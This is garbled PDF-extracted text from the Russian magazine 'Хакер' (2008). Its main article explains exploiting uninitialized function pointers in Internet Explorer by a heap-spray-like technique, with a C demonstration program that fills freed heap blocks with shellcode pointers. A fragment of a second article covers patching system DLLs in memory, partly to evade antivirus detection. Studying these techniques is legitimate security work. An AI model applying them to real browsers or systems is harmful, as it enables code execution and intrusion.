книги хакеры / журнал хакер / 118_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
E |
|
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||
>> взломto BUY |
|
|
|||||||
|
|
|
|
|
|||||
w Click |
|
|
|
|
|
m |
|||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
|
|
|
|
df |
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Осенние ошибки в IE, связанные с доступом к неинициализированным указателям
Недостроенные объекты на куче
Янеустаютвердить,чтоплюсовуСи++толькодва,авотминусов...На- многобольше!Ивообще,объективно-ориентированныйподходсоздает кудабольшепроблем,нежелиихрешает.Дляборьбыспроблемами, порождаемымипарадигмамиООП,создаютсясложныеигромоздкие механизмы,пользоватьсякоторыминерекомендуютдажеумудренные жизньюгуру.
Взятьхотябыдвафундаментальныхпонятия:конструкторыиисключения.Конструкторможетвыбрасыватьисключение.Приэтом,какправило,деструкторневызываетсяиосвобождаетсялишьпамять,выделенная подсамобъект,нообъекты,которыеконструкторужеуспелсоздать, остаются(вобщемслучае)неуничтоженными.Ихповедениезависит отприродысамихобъектов.Длянекоторыхобъектов(подчиняющихся парадигмамООП)автоматическивызываетсядеструктор,удаляющий ихповсемправилам,новототкрытыефайлы,установленныесетевые
соединенияиещекучавсякогобарахла,продолжаютболтатьсявпамяти, еслитолькообработчикисключениянепозаботитсяобихосвобождении. КоварствоСи++втом,чтодлявременныхобъектов(создаваемыхкомпилятором,например,вовремяпередачиаргументов)трансляторможет выполнятьраскруткустека(stackunwind),удаляянедостроенныеобъекты операторомdelete.Врезультате,привозникновенииисключениявконструкторевызовдеструкторавсежепроисходит,но…никакихгарантийна этотсчетунаснет.Тутвсеоттипаобъекта,особенностейтранслятораи ключейкомпиляциизависит!
Вообще,обработкаошибоквконструкторе—настоящаяголовнаяболь. Потомупрограммистыоченьчастоприбегаюткразнообразнымхакам. Самыйпопулярный—забитьнаконструкторивыполнятьинициализа- циюобъектавотдельномметоде(илидаженесколькихметодах),условно
—Init().Подобныйподходнещадноэксплуатируетсяразработчиками библиотекиMFC,даивдругихпроектах—нередкость.
Небудемспорить,чтохорошо,ачтоплохо(хватитразводитьтеоретическийфлейм,разработчикиMFCнедуракии,ужтемболее,непионеры). Методы-инициализаторыбыли,естьибудут—этофакт,откоторогоне уйти(миллионыстроккоданепереписатьзаодиндень).Иэтотфакт приводитквозможностипоявлениянедостроенныхобъектов.Действи- тельно,объектсоздали,авызватьметод-инициализаторзабыли.Как следствие,впеременных-членахобъекта—мусор.Использованиенедо- строенногообъектаприводиткнепредсказуемомуповедениюпоследнего.Чутьпозжемыпокажем,какможноиспользоватьошибкиэтоготипа длянаправленнойатаки,апокаобратимвниманиенавторуюпричину возникновениянеинициализированныхпеременных.
Дляпрограмм,написанныхнасмесичистогоиприплюснутогоСи,
характернапопыткаимитации(а,точнее,«эмуляции»)некоторыхСи++
Передача управления на shell-код путем выделения блоков из кучи и заполнения их указателями на shell-код (с последующим возвращением их в пул свободной динамической памяти)
фичизСикода.Втомчисле,виртуальныхфункций,которыеивсамом Си++реализованынелучшимобразом,аужихручнаяимплементация ивовсестановитсяисточникомошибок.Испортитьтакуюкрасивую идею!!!Создаемструктуру(собственноговоря,приплюснутыеклассы являютсятипичнымисишнымиструктурами,тольковСи++всечленыпо умолчаниюприватные,еслитольконеоговоренообратное).Помещаемв структуруодинилинесколькоуказателейнафункции,которыемогутбыть
переопределенывлюбоймомент.Оченьудобно!Скажем,нужнонамводномместезаменитьсистемныйобработчикправогокликамышинанаш собственныйдлявыводапользовательскогоменюилиперехватывать выводдокументанапечать...давсечтоугодно!
Итутмыплавнопереходимкобъектамспрограммируемымисвойствами(или,говоряанглийскимязыком,properties).Вместотого,чтобы перечислятьвметоде-инициализаторевсесвойства(большинствоиз которыхостаетсявсостояниипоумолчанию),архитекторпроектапишет объект,поддерживающийпоодномуметоду-инициализаторунакаждое свойство.Весьмапопулярныйподход,обязанныйсвоимрождениемеще одномукосякувприплюснутомси,которыйформальноподдерживает функциисаргументамипоумолчанию,нонепозволяетнамменятьсостояниепроизвольныхаргументов,чтона99%обесцениваетидею.
Анализпоказывает,чтоIEнаписаннасмесиклассическогоиприплюс- нутогоси,атакжеиспользуетбольшоеколичествометодов-инициали- заторов,вызываемыхвручную.Тоесть,существуетвозможностьвызова недостроенногообъектаснеинициированнымипеременными.Несмотря нато,чтобольшинствообъектовнаписановполнекорректноиотказываютсяработать безпредварительнойинициализации,честновозвращая ошибку,—безляповнеобошлось!Рядобъектовсодержатвсвоемчреве указателинадругиеобъекты,инициализируемыенеконструктором(вы- зываемомавтоматически),аотдельнымиметодами-инициализаторами, вызываемымивручнуюили…вообщеникемневызываемыми.Витоге, прииспользованиинедостроенногообъектапроисходитобращениек неинициализированномууказателю,содержащемувсякиймусор,—и приложениекончаетисключением.
Атеперьсамоеглавное!ОгромноеколичествоIE-объектов(втомчислеи уязвимых)доступныизскриптовыхязыков(типаJavaScriptилиVBScript), чтоделаетвозможнымнаправленнуюатакунанеинициализированные переменные,посколькуобъектыфизическиразмещаютсявдинамическойобластипамяти,используяединыйменеджеркучи.Другимисловами,
xàêåð 10 /118/ 08 |
057 |
|
|
|
|
hang |
e |
|
|
|
|
||
|
|
|
C |
E |
|
|
|||||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||||
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|||||
w Click |
to BUY |
|
>> взлом |
||||||||
|
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
|||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Тупой сценарий атаки на неинициализированные указатели по методу а-ля heap-spray с колоссальным потреблением памяти
|
скриптможетвыделитьблокпамяти,записатьтудавсе,чтоугодно, |
ется—иладно.Даистековыхпеременныхнамногобольше,чемчленов |
|
|
освободитьего,и…припоследующихзапросахпамятинаразмещение |
объекта,размещаемыхвдинамическойпамяти,апотомувероятность |
|
|
очередногосоздаваемогообъектаснекоторойстепеньювероятности |
нарватьсянанеинициализированнуюпеременнуюздесьвыше. |
|
|
будетиспользованименнонашблок.Каковастепеньэтойвероятности |
Ксожалению(иликсчастью—смотряскакойсторонысмотреть),воз- |
|
|
икакможноееповысить—мыещерасскажем,апокаподведемкраткий |
можностинаправленноговоздействиянастековыепеременныеочень |
|
|
итогпричинвозникновениянеинициализированныхпеременных. |
ограничены,асамаатакавесьмаспецифичнаизаслуживаетотдельной |
|
|
|
|
статьи.Отложимэтотразговордолучшихдней,апокавернемсяккучеи |
|
|
• Вынос инициализирующего кода из конструктора (вызывае- |
посмотрим:чтотамможносделать. |
|
|
мого автоматически) в метод(ы)-инициализаторы, вызывае- |
|
|
|
мые вручную или не вызываемые вообще |
Реализация направленной атаки |
|
|
• Гибридное Си/Си++ программирование с «эмуляцией» вир- |
Указателисоставляютмалуючастьотвсехтиповпеременных,номы |
|
|
туальных функций посредством чистого Си |
сосредоточимсяименнонаних.Болеетого,извсехуказателейнасбудут |
|
|
• Объекты с многочисленными properties, инициализируемы- |
интересоватьтолькоуказателинафункции,посколькуонинамногоболее |
|
|
ми из закрепленных за ними методов |
уязвимы,чемвсеостальные.Достаточнопросто«дотянуться»доне- |
|
|
• Разнотравье неклассифицируемых ошибок |
инициализированногоуказателянафункцию,записавтудаадрессвоей |
|
|
|
функции(shell-кода),авсеостальноезанассделаетавтоматика.Нодаже |
|
|
Недостроенные объекты на стеке |
|
|
|
такоесвидупростоемероприятиереализуетсядовольноэкзотическим |
|
|
|
||
|
|
||
|
Неинициализированныепеременныевстречаютсянетольковкуче,но |
способомвстиле«недокументированныепозициикама-сутры». |
|
|
инастеке.Взятьхотябытакоеинтересноеявление,какавтоматическая |
Какмыужеговорили,стандартныйаллокаторприплюснутогосиразме- |
|
|
инициализацияглобальныхистатическихпеременных,обращаемыхв |
щаетобъектывдинамическойпамяти(куче).Причем,длядостижения |
|
|
нольещенестадиизагрузкиисполняемогофайлавпамять(потому«int |
максимальнойпроизводительностиобнулениевыделенныхблоковпа- |
|
|
a = 0;»и«static a;»содержатвсебеодноитожезначение).Писать |
мятинепроизводитсяитамоказываетсямусор.Ачтотакоемусорсточки |
|
|
«static a = 0;»совершеннонеобязательно. |
зренияпрограммиста?Правильно,отходыжизнедеятельностипреды- |
|
|
Однако,еслипокаким-топричинампрограммиствдругудалитключевое |
дущихобъектов.Другимисловами,возможность(хотябытеоретическая) |
|
|
слово static,превращаяпеременную«а»изстатическойвавтомати- |
воздействиянанеинициализированныеуказателиунасесть.Правда, |
|
|
ческую,внейтутжеокажетсямусор,оставленныйнастекекем-тоеще,и |
практическаяреализациянаталкиваетсянамножествоподводныхкам- |
|
|
программапойдетвразнос.Конечно,такоеслучаетсянетакужчасто,и |
нейипрочихпрепятствий.Нодавайтевсепопорядку. |
|
|
компиляторначнетругатьсяматом,выдаваяwarning’и,носовременные |
Идеятакова:выделяемблокпамяти(чтоможносделатьнапрямуюиз |
|
|
программистынапредупреждающиесообщениянесмотрят.Компилиру- |
JavaScriptилиVBScript),копируемтудаshell-код,послечегоотъедаем |
058 |
xàêåð 10 /118/ 08 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
E |
|
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||
>> взломto BUY |
|
|
|||||||
|
|
|
|
|
|||||
w Click |
|
|
|
|
|
m |
|||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
|
|
|
|
df |
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
округляетсядоопределеннойвеличины,зависящейотособенностей реализацииконкретногобиблиотечногоаллокатора,опирающегосяв своюочередьнааллокатороперационнойсистемы.Обычноэто—16,32 или64байт.Причем,частьэтойпамяти(какминимум,двадвойныхслова) расходуетсяподслужебныенужды—указателинаследующийипреды- дущийсвободный(занятый)блок,ипотомупервыедвадвойныхслова дляхакерскихмахинацийнедоступны.Насамомделе,доступныиони, ноэтоопять-такитемаотдельнойузкоспецифичнойстатьи,заточенной подопределенныеверсииопределенныхбиблиотек,анамхотелосьбы познакомитьсясуниверсальнымалгоритмом.
Итакойалгоритмдействительноесть!Достаточно,чтобыразмервыделяемыхнамиблоковпамятисовпадалсразмеромуязвимогообъекта. Тогдаотъедатьвсюдоступнуюпамятьуженепотребуется.Вполнехватит несколькихсотен(максимум—тысяч)выделенныхблоков,чтовобщей совокупностидаетпорядкаодного-двухмегабайтпамяти.Какговорится,
—меньше,чемсовсемничего.Атакасовершаетсябыстро,надежнои незаметно.Жертвадажепикнутьнеуспевает,какееужещемятпополной
Продвинутый алгоритм атаки потребляет ничтожное количество памяти программе.Кстати,опрограммах.Нижеприведентестовыйстенд, демонстрирующийтехникуиспользованиянеинициализированных указателейвхакерскихцелях.
всюпамять,заполняяееуказателяминанашshell-код.Икогдапамять |
|
|
|
совсемподойдеткконцу,освобождаемвсеблоки,кромепервого(с |
Исходныйкод,демонстрирующийреализациюнаправлен- |
||
shell-кодом).Последующиезапросынавыделениепамятивозвратятуяз- |
нойатакинанеинициализированныеуказатели |
||
вимомуприложениюблок,заполненныйссылкаминаshell-код.Еслихотя |
#define NNN |
(2048) |
|
быодинизуказателейобъектаокажетсянеинициализированным,вместо |
// #define NSZ (4096) |
// <-- bad |
|
вызоваоригинальнойфункцииуправлениеполучитshell-код.Описанная |
#define NSZ |
(sizeof(struct object)) |
// <-- good |
техникаоченьпохожанаheap-spray—известныймеханизматакина |
f_ok() { printf("+OK\n"); } |
|
|
переполняющиесябуфера,заканчивающейсяпередачейуправленияна |
f_err() { printf("-ERR\n"); } |
|
|
shell-код.Присмотревшисьвнимательнее,мыобнаружимсущественное |
struct object |
|
|
различие.Вклассическомheap-spray’евыделенныеблокинеосвобож- |
{ |
|
|
даются,авнашем—освобождаютсявсеблоки,кромепервого,стаким |
char *s; |
|
|
расчетом,чтобыбытьиспользованнымиповторно! |
int (*bar)(); |
|
|
Авоттеперьграбли.Памятиусовременныхкомпьютеровмногоибыстро |
int (*foo)(); |
|
|
откушатьеенеудастся.Атакарастягиваетсянаминутыилидажедесятки |
}; |
|
|
минут,демаскируяхакера.Ужертвыестьхорошийзапасповремени,что- |
char buf[1023]; |
|
|
бызакрытьподозрительноведущеесебяприложение(IEприэтомкакбы |
char** all_p[NNN]; |
|
|
«подвисает»).Нодаженеэтосамоестрашное.Поумолчанию,начальный |
|
|
|
размерфайлаподкачкименьшеконечногоивбольшинствесистемон |
main() |
|
|
составляетменьше2хгигабайт—объемапамяти,выделенногокаждому |
{ |
|
|
процессуподприкладныенужды.Следовательно,впроцессепожирания |
struct object *Obj; |
|
|
памятинеизбежнонаступаетмомент,когдасистеманачнетувеличивать |
int a, b; char *shell, **p; |
|
|
размерфайлаподкачки.Этопроисходитнемгновенноизапросына |
|
|
|
выделениепамяти,осуществляемыевэтовремя(дажепоступающиеот |
// attack |
|
|
постороннихприложений),заканчиваютсявозвращениемошибки.Что |
shell = (char*) malloc(1024); |
|
|
касаетсястека—системавообщевыбрасываетисключение«исчерпа- |
*shell = 0xCC; |
|
|
ниестековойпамяти»,котороемалоктообрабатывает.Корочеговоря,в |
|
|
|
процессеувеличенияфайлаподкачкиначинаютсыпатьсясовершенно |
// allocate heap blocks and fill them with pointers to |
||
посторонниеприложенияипользователь,чертыхаясь,отправляет |
our shell-code |
|
|
системунаперезагрузку,врезультатечегохакерскаяатаканакрывается |
for (a = 0; a < NNN; a++) |
|
|
меднымтазом. |
{ |
|
|
Акакнасчетболееэлегантногосценария?Тутпоходуделавыясняется |
p = (char**) malloc(NSZ); |
|
|
однаоченьинтереснаявещь.Дажееслиотъестьвсюдоступнуюпамять, |
for (b = 0;b < NSZ / sizeof(char*); b++) |
||
азатемееосвободить,тоникакихгарантийперезаписинеинициализи- |
p[b] = shell; |
|
|
рованногоуказателяунаснет.Почему?Авсепотому,чтомывыделяли |
all_p[a] = p; |
|
|
памятьбольшимблокам.Еслиразмервыделяемогоблокапревосходит |
} |
|
|
размеруязвимогообъекта,тосистема,стремясьподобратьблокнаибо- |
|
|
|
лееадекватныхразмеров,выделитпамятьсовсемиздругихрезервов |
// free all blocks to return them in the pool |
||
—спискамаленькихблоков.Ранеезанятых,атеперьосвобожденных,но |
for (a = 0; a < NNN; a++) |
|
|
такинесумевшихобъединитьсясостальнымисвободнымиблокамив |
free(all_p[a]); |
|
|
единоецелое(посколькунапутимеждунимиимеетсяодинилибольше |
|
|
|
занятыхблоков,разрывающихединоеадресноепространствонамно- |
// IE-like code |
|
|
жествообособленныхсуверенных«островков»). |
Obj = (struct object*) malloc(sizeof(struct object)); |
||
Выходит,чтодлядостиженияуспеха,необходимовыделятьблокипамяти |
Obj->bar = f_ok; |
|
|
предельнокомпактногоразмера(4байта)стакимрасчетом,чтобытуда |
|
|
|
записатьодин-единственныйуказательнаshell-код?Ну,этовообще |
while(1) |
|
|
дохляк!Деловтом,чторазмервыделяемогоблокаавтоматически |
{ |
|
|
|
|
|
|
xàêåð 10 /118/ 08 |
059 |
|
|
|
|
hang |
e |
|
|
|
|
||
|
|
|
C |
E |
|
|
|||||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||||
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|||||
w Click |
to BUY |
|
>> взлом |
||||||||
|
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
|||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Богатый выбор боевых shell-кодов на www.metasploit.com
|
|
|
их очень легко предотвратить. Достаточно заставить аллокатор ав- |
||||
|
fgets(buf, 1023, stdin); |
|
|||||
|
if (strlen(buf) < 8) { Obj->foo(); continue; } |
|
томатически очищать выделяемые блоки памяти. Поскольку боль- |
||||
|
Obj->s = buf; Obj->bar(); |
|
шинство приложений взаимодействуют с системным аллокатором не |
||||
|
break; |
|
напрямую, а через библиотечные переходники типа malloc и new, то |
||||
|
} |
|
для защиты потребуется перекомпиляция всего ранее написанного |
||||
|
} |
|
кода. Вывод: определенный запас по времени у хакеров все-таки есть |
||||
|
|
|
— весь вопрос в том, успеют ли они им воспользоваться. z |
||||
|
Конструктивнопрограммасостоитиздвухчастей.Первая—реализует |
||||||
|
|
|
|
|
|
|
|
|
атакующийсценарий,вторая(начинаетсяскомментария«IE-likecode») |
|
|
|
|
|
|
|
—имитируетуязвимыйкод,содержащийся,например,вIE.Чтокасается |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
shell-кода,тоонпредставляетсобойоднобайтовуюмашиннуюкоманду |
|
|
DEPиборьбасним |
|
|
|
|
INT 03h сопкодомССh(программнаяточкаостанова,отлавливаемая |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
отладчикомтипаOllyDbgилиSoftICE).Впоследнемслучаенеобходи- |
|
|
|
|
|
|
|
|
|
|
||||
|
моотдатькоманду«I3HERE ON»,чтобыSoftICEреагировалнаточки |
|
|
|
|
|
|
|
останова,установленныевпользовательскихприложениях,анетолько |
|
|
Процессоров,поддерживающихNX/XD-биты,скаждымднемста- |
|
|
|
|
драйверах,каконэтоделаетпоумолчанию. |
|
|
новитсявсебольшеибольше,аначинаясXPSP2,исполнениекода |
|
|
|
|
Естественно, INT 03h—неоченьинтересныйshell-кодипотомус |
|
|
настекеивкучеразрешенотолькодлянесистемныхприложений. |
|
|
|
|
практическойточкизрениянамногополезнеестянутьготовыйshell-кодс |
|
|
IE,увы,непопадаетвкатегорию«амнистированных»ипотому |
|
|
|
|
|
|
|
|
|
|
|
|
metaspot.com,открывающийbackdoorилизапускающий«Калькулятор». |
|
|
приходитсяосуществлятьдополнительныетелодвижения.Какие |
|
|
|
|
Ноэтоужетехническиедетали,неимеющиекописываемомусценарию |
|
|
именно—зависитотспецификиуязвимогоприложенияиопять- |
|
|
|
|
атакинималейшегоотношения. |
|
|
такидалековыходитзарамкисценарияатакинанеинициализи- |
|
|
|
|
Атаки на неинициализированные указатели только начинаются! К |
|
|
рованныеуказатели.Сталобыть,внашемконтекстезаслуживает |
|
|
|
|
счастью для пользователей и большому хакерскому разочарованию, |
|
|
лишьбеглогоупоминания. |
|
|
|
|
|
|
|
060 |
xàêåð 10 /118/ 08 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
NOW! |
o |
|
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
||||
on programmingto BUY >> взломinterface |
|||||||||||
w Click |
|
|
|
|
|
|
m |
|
|||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
o |
|
|
|
w |
|
df-xchan |
|
|
Application pr |
|||||
|
. |
.c |
|
||||||||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
C |
E |
|
|
|
|||
|
|
|
|
|
X |
|
|
|
|
|
|||
|
|
|
|
- |
|
|
|
|
d |
|
|
||
|
|
|
|
F |
|
|
|
|
|
t |
|
|
|
|
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|||
|
|
|
P |
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|||
|
Application programming interfaceBUY |
|
|||||||||||
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
o |
|
|
interface |
|
w |
|
df-x chan |
|
|
|
||||||
|
. |
.c |
|
|
|||||||||
|
|
|
|
|
p |
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
e |
|
|
|
|
|
|
|
||||||||||
|
|
Application programming inter |
erface |
Остап Бендер |
|
|
lication programming interface Application programming interface |
A |
||
Application programmingApplicationinterfaceprogramming interface |
|||
|
|||
erfaceApplication programming interface |
|
||
|
Application programming interface |
|
|
|
Application programmingApplicationinterfaceprogramming interface |
A |
|
|
Application programmingApplicationinterfaceprogramming interface |
||
|
|
||
|
Application programmingApplicationin erfaceApplicationrogrammingprogramminginterfaceinterface |
A |
|
Application programming interface Application programming interface |
|
||
|
Application programming interface |
|
|
|
Application programming inter |
||
|
Application programming interfaceApplication programming inter |
||
Надругательство |
|
||
|
Application programmingApplicationinterfaceprogramming interface |
|
|
надAPI |
|
||
plicationAprogrammingplication programminginterfacepplicationinterfaceprogrammingApplinterfacecationprogramming interface |
|
||
plication programmingApplicationinterfaceprogrammingApplicationinterfaceprogrammingApplicationinterfaceprogramming interface |
|
||
Модификация API-функций конкретным приложением |
|
Вспомни, тебе когда-нибудь требовалось изменить функциональность API, вызываемой из системной библиотеки? При этом нередко случается так, что модификация DLL «в лоб» (с сохранением изменений в файле библиотеки), невозможна. К счастью, есть другие методы, позволяющие эффективно менять код API-функций по своему усмотрению. Без особых трудностей модифицировать можно даже системную DLL. Заинтересовался? Тогда читай.
уществуетдваподходакреверсингудинамическизагружанойбиблиотеки.Нотогдапридетсятаскатьзасобойлишнийфайл,что
Cемыхбиблиотек.Первый—отлаживатьdll«непосредствен- тоженевсегдаприемлемо.Третийвариант:модифицируемdll,загружен-
но»,тоесть—загружаяеевотладчикспомощьюнекоторого вспомогательногопроцесса.Второй—отлаживатьнеоб-
ходимуюбиблиотекувконтекстереальногопроцесса.Увторогоспособа естьнеоспоримоепреимущество—наконкретнуюAPI-функциюможно поставитьточкуостановаиприпередачепрограммойпараметроввстек проследитьзамеханизмомееработы.Именнопоэтомуяпредлагаюпри отладкеdllпользоватьсявторымметодом.
нуювпамять,прямоизпрограммы,котораяееиспользует.Хотяэтотметод тожеможетрасцениватьсяантивирусамикакдействиевредоносного характера,онменеезаметен.Наконец,четвертый,самыйнадежный (ноисамыйсложный)метод—переносисполняемогокодаконкретной API-функциивтелопрограммы.Тутантивирусампридратьсябудетнек чему.Таккакпервыедваметодадовольнопросты,даискрыть«деяние» невозможно,рассмотримдвапоследнихспособа.
Самыйнадежныйметод
Сметодомотладкиопределились.Возникаетвопрос,—какимобразом применитьизменения,которыемысовершимвовремяотладки?Вариантовмасса.Почтикаждомупридетнаумсохранитьизмененнуюdll.Этот вариантпрактическиникогданегодится!Подумайсам:какбудутчувст воватьсебяпрограммы,которыеиспользуютмодифицированнуюdll? Думаю,чтомногочисленныхошибокнеизбежать.Ктомуже,антивирусы могутзаподозритьчто-тонеладное.Естьальтернативныйпуть:сохранить dllподдругимименемиизменитьтаблицуимпортацелевойпрограммы так,чтобывызываласьAPI-функциянеоригинальной,амодифицирован-
ПатчингDLLсприменениемVirtualProtect
